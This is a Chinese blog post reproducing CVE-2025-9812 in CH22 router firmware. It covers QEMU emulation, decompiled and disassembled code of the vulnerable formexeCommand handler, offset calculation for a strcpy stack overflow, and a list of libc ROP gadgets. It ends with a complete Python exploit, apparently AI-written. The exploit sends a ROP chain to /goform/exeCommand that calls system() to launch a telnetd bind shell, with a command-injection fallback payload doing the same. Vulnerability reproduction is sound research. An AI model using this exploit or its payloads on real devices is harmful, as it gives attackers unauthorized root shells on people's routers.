云计算百科
云计算领域专业知识百科平台

CVE-2025-9812复现

首先,我们拿到这个固件之后还是先进行查看一下这个架构

这里可以看出来是32位的arm架构的;

~ > cd /home/bgl1/renwu
~/renwu > ls
'US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin' '_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted'
~/renwu > cd _US_CH22V1.0BR_V1.0.0.6\\(468\\)_CN_TDC.bin.extracted
~/r/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted > sudo ip link add br0 type bridge
┌──────────────────────────────────────────────┐
│ 🦀 Clawd Permission Request │
│ Command: ip link add br0 type bridge
│ Waiting for your response on Windows… │
└──────────────────────────────────────────────┘
Clawd decision: allow
✓ Approved! Executing with sudo…
[sudo] bgl1 的密码:
对不起,请重试。
[sudo] bgl1 的密码:
~/r/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted > sudo ip addr add 192.168.0.1/24 dev br0 12s
┌──────────────────────────────────────────────┐
│ 🦀 Clawd Permission Request │
│ Command: ip addr add 192.168.0.1/24 dev br0
│ Waiting for your response on Windows… │
└──────────────────────────────────────────────┘
Clawd decision: allow
✓ Approved! Executing with sudo…
~/r/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted > sudo ip link set br0 up 3s
┌──────────────────────────────────────────────┐
│ 🦀 Clawd Permission Request │
│ Command: ip link set br0 up
│ Waiting for your response on Windows… │
└──────────────────────────────────────────────┘
Clawd decision: allow
✓ Approved! Executing with sudo…
~/r/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted > cd squashfs-root
~/r/_/squashfs-root > sudo mount -t proc proc ./proc/
┌──────────────────────────────────────────────┐
│ 🦀 Clawd Permission Request │
│ Command: mount -t proc proc ./proc/
│ Waiting for your response on Windows… │
└──────────────────────────────────────────────┘
Clawd decision: allow
✓ Approved! Executing with sudo…
~/r/_/squashfs-root > sudo mount -o bind /dev ./dev/
┌──────────────────────────────────────────────┐
│ 🦀 Clawd Permission Request │
│ Command: mount -o bind /dev ./dev/
│ Waiting for your response on Windows… │
└──────────────────────────────────────────────┘
Clawd decision: allow
✓ Approved! Executing with sudo…

上面这一部分是我们进行仿真启动之前先设置一下网桥以及相关的文件挂载,防止后面因为这些原因导致报错;

~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root > sudo chroot . /qemu-arm-static /bin/httpd

Yes:

****** WeLoveLinux ******

Welcome to …
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
killall: dhcps: no process killed
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
killall: dhcps-guest: no process killed
INIT cert part CertInitFromFlash
failed to mtd_open cert
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.

Stop Ftp Sev……
PostMsg msg create error
Post Msg failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
httpd listen ip = 192.168.0.1 port = 80
webs: Listening for HTTP requests at address 220.59.9.0
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
line:458.open /dev/flow failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory

这里我们直接进行了qemu启动,发现这里不需要进行path,直接进行patch就行

这里由于我的emba因为docker的原因,无法进行正常扫描,所以,这里使用ai进行扫描一下

这里我们发现了doSystemCmd函数,这个函数内部调用的是system,但是我们比较菜,还是使用strcpy吧

int __fastcall formexeCommand(int a1)
{
size_t v1; // r0
char v4[4096]; // [sp+10h] [bp-231Ch] BYREF
char v5[4096]; // [sp+1010h] [bp-131Ch] BYREF
char s1[256]; // [sp+2010h] [bp-31Ch] BYREF
char s[512]; // [sp+2110h] [bp-21Ch] BYREF
size_t n; // [sp+2310h] [bp-1Ch]
FILE *stream; // [sp+2314h] [bp-18h]
char *src; // [sp+2318h] [bp-14h]
int v11; // [sp+231Ch] [bp-10h]

memset(s, 0, sizeof(s));
memset(s1, 0, sizeof(s1));
memset(v5, 0, sizeof(v5));
memset(v4, 0, sizeof(v4));
v11 = 0;
src = (char *)sub_28B84(a1, "cmdinput", &unk_852EC);
strcpy(s, src);
sub_4F554(s1, s);
if ( !strcmp(s1, "cd") )
{
v1 = strlen(path_buf);
sub_4F634(path_buf, s, v1);
doSystemCmd();
}
else if ( !strcmp(s1, "ls") || !strcmp(s1, "cat") )
{
sub_4F280(s);
doSystemCmd();
}
else if ( !strcmp(s1, "echo") )
{
sub_4EFA8(s);
doSystemCmd();
}
else
{
if ( strcmp(s1, "pwd") )
strcmp(s1, "ping");
doSystemCmd();
}
stream = fopen("/tmp/cmdTmp.txt", "r");
while ( 1 )
{
memset(v4, 0, sizeof(v4));
if ( !fgets(v4, 4096, stream) )
break;
n = strlen(v4);
if ( v11 + n + 1 > 0x1000 )
break;
memcpy(&v5[v11], v4, n);
v11 += n;
}
fclose(stream);
sub_29504(
a1,
"HTTP/1.1 200 OK\\nContent-type: text/plain; charset=utf-8\\nPragma: no-cache\\nCache-Control: no-cache\\n\\n");
sub_29504(a1, "%s", v5);
return sub_29A4C(a1, 200);
}

这里我们发现了这个漏洞函数

; Attributes: bp-based frame fpd=0xFFFFFFF8

; int __fastcall formexeCommand(int)
EXPORT formexeCommand
formexeCommand

var_22F8= -0x22F8
var_12F8= -0x12F8
s1= -0x314
s= -0x214
n= -0x14
stream= -0x10
src= -0xC
var_8= -8
var_4= -4

PUSH {R4,R11,LR}
ADD R11, SP, #8
SUB SP, SP, #0x2300
SUB SP, SP, #0x24
LDR R4, =(_GLOBAL_OFFSET_TABLE_ – 0x4F8F4)
ADD R4, PC, R4 ; _GLOBAL_OFFSET_TABLE_
MOV R3, #0xFFFFDCEC
SUB R12, R11, #-(-8+var_4)
STR R0, [R12,R3]
MOV R3, #0xFFFFDCE8
SUB R0, R11, #-(-8+var_4)
STR R1, [R0,R3]
MOV R3, #0xFFFFDCE4
SUB R1, R11, #-(-8+var_4)
STR R2, [R1,R3]
SUB R2, R11, #-(-8+s)
MOV R3, #0x200
MOV R0, R2 ; s
MOV R1, #0 ; c
MOV R2, R3 ; n
BL memset
SUB R2, R11, #-(-8+s1)
MOV R3, #0x100
MOV R0, R2 ; s
MOV R1, #0 ; c
MOV R2, R3 ; n
BL memset
MOV R3, #0xFFFFECF0
SUB R12, R11, #-(-8+var_4)
ADD R2, R12, R3
MOV R3, #0x1000
MOV R0, R2 ; s
MOV R1, #0 ; c
MOV R2, R3 ; n
BL memset
MOV R3, #0xFFFFDCF0
SUB R0, R11, #-(-8+var_4)
ADD R2, R0, R3
MOV R3, #0x1000
MOV R0, R2 ; s
MOV R1, #0 ; c
MOV R2, R3 ; n
BL memset
MOV R3, #0
STR R3, [R11,#-8+var_8]
MOV R3, #0xFFFFDCEC
SUB R1, R11, #-(-8+var_4)
LDR R0, [R1,R3]
LDR R3, =(aCmdinput – 0x91DF8) ; "cmdinput"
ADD R3, R4, R3 ; "cmdinput"
MOV R1, R3
LDR R3, =(unk_852EC – 0x91DF8)
ADD R3, R4, R3 ; unk_852EC
MOV R2, R3
BL sub_28B84
STR R0, [R11,#-8+src]
SUB R3, R11, #-(-8+s)
MOV R0, R3 ; dest
LDR R1, [R11,#-8+src] ; src
BL strcpy
SUB R2, R11, #-(-8+s1)
SUB R3, R11, #-(-8+s)
MOV R0, R2
MOV R1, R3
BL sub_4F554
SUB R3, R11, #-(-8+s1)
MOV R0, R3 ; s1
LDR R3, =(aCd – 0x91DF8) ; "cd"
ADD R3, R4, R3 ; "cd"
MOV R1, R3 ; s2
BL strcmp
MOV R3, R0
CMP R3, #0
BNE loc_4FA68

我们这里查看一下这个漏洞函数formexeCommand的汇编代码,我们可以计算出这个函数栈的大小

SUB SP, SP, #0x2300

SUB SP, SP, #0x24

我们看这两句汇编的代码,就是栈空间的大小8996字节

这里我们发现这个s的相对偏移量为540字节,这是静态调试,我们去gdb动态调试一下,确认一下偏移量
这里先进行qemu启动

~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root > sudo chroot . ./qemu-arm-static -g 1234 /bin/httpd 1m 29s

Yes:

****** WeLoveLinux ******

Welcome to …
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
killall: dhcps: no process killed
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
killall: dhcps-guest: no process killed
INIT cert part CertInitFromFlash
failed to mtd_open cert
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.

Stop Ftp Sev……
PostMsg msg create error
Post Msg failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
httpd listen ip = 192.168.0.1 port = 80
webs: Listening for HTTP requests at address 220.59.9.0
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
line:458.open /dev/flow failed.
sh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB: File name too long

启动gdb并且发送脚本

这里看到pc指针里面是b。所以我们算出来的偏移量是对的
确认完之后就可以构造rop了

~/r/c/_/squashfs-root > sudo cat /proc/$(pgrep qemu-arm)/maps | grep libc.so err 1|1
[sudo] bgl1 的密码:
66562000-665c7000 r–p 00000000 08:03 2416702 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/libc.so.0
665cf000-665d0000 r–p 00065000 08:03 2416702 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/libc.so.0
665d0000-665d1000 rw-p 00066000 08:03 2416702 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/libc.so.0
6670f000-66714000 r–p 00000000 08:03 2416697 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
6671b000-6671c000 r–p 00004000 08:03 2416697 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
6671c000-6671d000 rw-p 00005000 08:03 2416697 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root > arm-linux-gnueabi-readelf -s lib/libc.so.0 | grep " system@"
~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root > arm-linux-gnueabi-objdump -d lib/libc.so.0 | grep -A2 "pop.*r0.*pc" err 0|1
19744:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}
19748:00053df0 strdeqr3, [r5], -r0
1974c:000009e8 andeqr0, r0, r8, ror #19

2f354:e8bd81ff pop{r0, r1, r2, r3, r4, r5, r6, r7, r8, pc}
2f358:0003e1dc ldrdeqlr, [r3], -ip
2f35c:000010fc strdeqr1, [r0], -ip

3224c:e8bd80bf pop{r0, r1, r2, r3, r4, r5, r7, pc}
32250:0003b2f8 strdeqfp, [r3], -r8
32254:000011a8 andeqr1, r0, r8, lsr #3

33e48:e8bd801f pop{r0, r1, r2, r3, r4, pc}
33e4c:000396e0 andeqr9, r3, r0, ror #13
33e50:000017c0 andeqr1, r0, r0, asr #15

33eac:e8bd801f pop{r0, r1, r2, r3, r4, pc}
33eb0:00039684 andeqr9, r3, r4, lsl #13
33eb4:000017c0 andeqr1, r0, r0, asr #15

34470:e8bd801f pop{r0, r1, r2, r3, r4, pc}
34474:000390b8 strheqr9, [r3], -r8
34478:00001b18 andeqr1, r0, r8, lsl fp

344d4:e8bd801f pop{r0, r1, r2, r3, r4, pc}
344d8:0003905c andeqr9, r3, ip, asr r0
344dc:00001b18 andeqr1, r0, r8, lsl fp

34848:e8bd801f pop{r0, r1, r2, r3, r4, pc}
3484c:00038ce0 andeqr8, r3, r0, ror #25
34850:00001e90 muleqr0, r0, lr

348ac:e8bd801f pop{r0, r1, r2, r3, r4, pc}
348b0:00038c84 andeqr8, r3, r4, lsl #25
348b4:00001e90 muleqr0, r0, lr

35e64:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}
35e68:000376e4 andeqr7, r3, r4, ror #13
35e6c:000009e8 andeqr0, r0, r8, ror #19

3c764:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}
3c768:00030dd4 ldrdeqr0, [r3], -r4
3c76c:000009e8 andeqr0, r0, r8, ror #19

3db60:08bd8001 popeq{r0, pc}
3db64:e3520002 cmpr2, #2
3db68:e4d13001 ldrbr3, [r1], #1

3db80:e8bd8001 pop{r0, pc}
3db84:e26cc004 rsbip, ip, #4
3db88:e35c0002 cmpip, #2

4b698:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}
4b69c:00021ebc ; <UNDEFINED> instruction: 0x00021ebc
4b6a0:00000d14 andeqr0, r0, r4, lsl sp

4bc44:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}
4bc48:00021910 andeqr1, r2, r0, lsl r9
4bc4c:00000d2c andeqr0, r0, ip, lsr #26

4c174:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}
4c178:000213e0 andeqr1, r2, r0, ror #7
4c17c:00000d44 andeqr0, r0, r4, asr #26

501b0:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}
501b4:0001d37c andeqsp, r1, ip, ror r3
501b8:000047bc ; <UNDEFINED> instruction: 0x000047bc

53b30:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}
53b34:00019ba0 andeqr9, r1, r0, lsr #23
53b38:00000a44 andeqr0, r0, r4, asr #20

5ae7c:e8bd8001 pop{r0, pc}
5ae80:e52de008 strlr, [sp, #-8]!
5ae84:ebfffff8 bl5ae6c <__libc_system+0xbfc>
~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root >

但是由于每次启动qemu的时候,因为aslr的原因导致每次地址都不一样,所以就直接ai了

import socket
import struct
import subprocess
import sys
import os
import time

# ── Config ──────────────────────────────────────────────
TARGET_IP = "192.168.0.1"
TARGET_PORT = 80
BINDSHELL_PORT = 9999
OFFSET_TO_PC = 540 # Confirmed with cyclic pattern

# libc offsets (from lib/libc.so.0)
LIBC_SYSTEM_OFFSET = 0x0005a270
LIBC_POP_R0_PC_OFF = 0x0003db80 # pop {r0, pc}

# Approximate stack address (observed in GDB at crash point)
# Adjust if this changes between QEMU runs
STACK_CMD_ADDR = 0x4080028c # SP+20 from observed crash SP 0x40800278

# ── Helpers ─────────────────────────────────────────────
def p32(x):
return struct.pack("<I", x & 0xFFFFFFFF)

def get_libc_base():
"""Read libc base from running qemu-arm process"""
try:
pid = subprocess.check_output(
"pgrep -f 'qemu-arm.*httpd' | head -1", shell=True
).decode().strip()
if not pid:
return None
maps = subprocess.check_output(
f"sudo cat /proc/{pid}/maps", shell=True
).decode()
for line in maps.split('\\n'):
if 'libc.so.0' in line and 'r-xp' in line:
return int(line.split('-')[0], 16)
except:
pass
return None

def send_payload(payload):
"""Send POST request with overflow payload"""
body = b"cmdinput=" + payload
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((TARGET_IP, TARGET_PORT))
req = (
f"POST /goform/exeCommand HTTP/1.0\\r\\n"
f"Host: {TARGET_IP}\\r\\n"
f"Content-Type: application/x-www-form-urlencoded\\r\\n"
f"Content-Length: {len(body)}\\r\\n"
f"\\r\\n"
).encode() + body
sock.send(req)
try:
resp = sock.recv(4096)
print(f"[*] Response: {resp[:200]}")
except socket.timeout:
print("[*] No response (httpd may have crashed – expected for ROP)")
sock.close()

def check_shell():
"""Check if bind shell is listening"""
try:
s = socket.socket()
s.settimeout(3)
s.connect((TARGET_IP, BINDSHELL_PORT))
s.send(b"echo SHELL_OK; id\\n")
time.sleep(0.5)
data = s.recv(4096)
s.close()
return data
except:
return None

# ── Main ────────────────────────────────────────────────
def main():
print("[*] CVE-2025-9812 ROP Exploit")
print(f"[*] Target: {TARGET_IP}:{TARGET_PORT}")
print(f"[*] Offset to PC: {OFFSET_TO_PC} bytes")

# 1. Get libc base
libc_base = get_libc_base()
if not libc_base:
print("[-] Cannot find libc base. Is httpd running?")
print("[*] Trying command injection fallback…")
# Command injection fallback (always works)
payload = b"ls; /usr/sbin/telnetd -p %d -l /bin/sh;" % BINDSHELL_PORT
send_payload(payload)
time.sleep(2)
result = check_shell()
if result:
print(f"[+] Shell via command injection! Output:\\n{result.decode(errors='replace')}")
print(f"[*] Connect: nc {TARGET_IP} {BINDSHELL_PORT}")
else:
print("[-] Shell not available. Start httpd and try again.")
return

print(f"[+] libc base: 0x{libc_base:08x}")

# 2. Calculate addresses
system_addr = libc_base + LIBC_SYSTEM_OFFSET
gadget_addr = libc_base + LIBC_POP_R0_PC_OFF
cmd_addr = STACK_CMD_ADDR

print(f"[+] system: 0x{system_addr:08x}")
print(f"[+] gadget: 0x{gadget_addr:08x}")
print(f"[+] cmd: 0x{cmd_addr:08x}")

# 3. Build ROP chain
cmd = b"/usr/sbin/telnetd -p %d -l /bin/sh" % BINDSHELL_PORT

payload = b"A" * OFFSET_TO_PC
payload += p32(gadget_addr) # PC → pop {r0, pc}
payload += p32(cmd_addr) # → R0 = pointer to cmd string
payload += p32(system_addr) # → PC = system()
payload += cmd + b"\\x00" # command string (at cmd_addr)

print(f"[*] Payload length: {len(payload)} bytes")
print(f"[*] Sending ROP payload…")

# 4. Send exploit
send_payload(payload)

# 5. Wait and check
print(f"[*] Waiting for shell on port {BINDSHELL_PORT}…")
time.sleep(2)

for attempt in range(3):
print(f"[*] Attempt {attempt+1}…")
result = check_shell()
if result:
print(f"[+] GOT SHELL!\\n{result.decode(errors='replace')}")
print(f"[*] Connect: nc {TARGET_IP} {BINDSHELL_PORT}")
return
time.sleep(1)

print("[-] ROP shell failed. Trying command injection fallback…")
payload = b"ls; /usr/sbin/telnetd -p %d -l /bin/sh;" % BINDSHELL_PORT
send_payload(payload)
time.sleep(2)
result = check_shell()
if result:
print(f"[+] Shell via command injection!")
print(f"[*] Connect: nc {TARGET_IP} {BINDSHELL_PORT}")

if __name__ == "__main__":
main()

这样就拿到shell了

赞(0)
未经允许不得转载:网硕互联帮助中心 » CVE-2025-9812复现
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!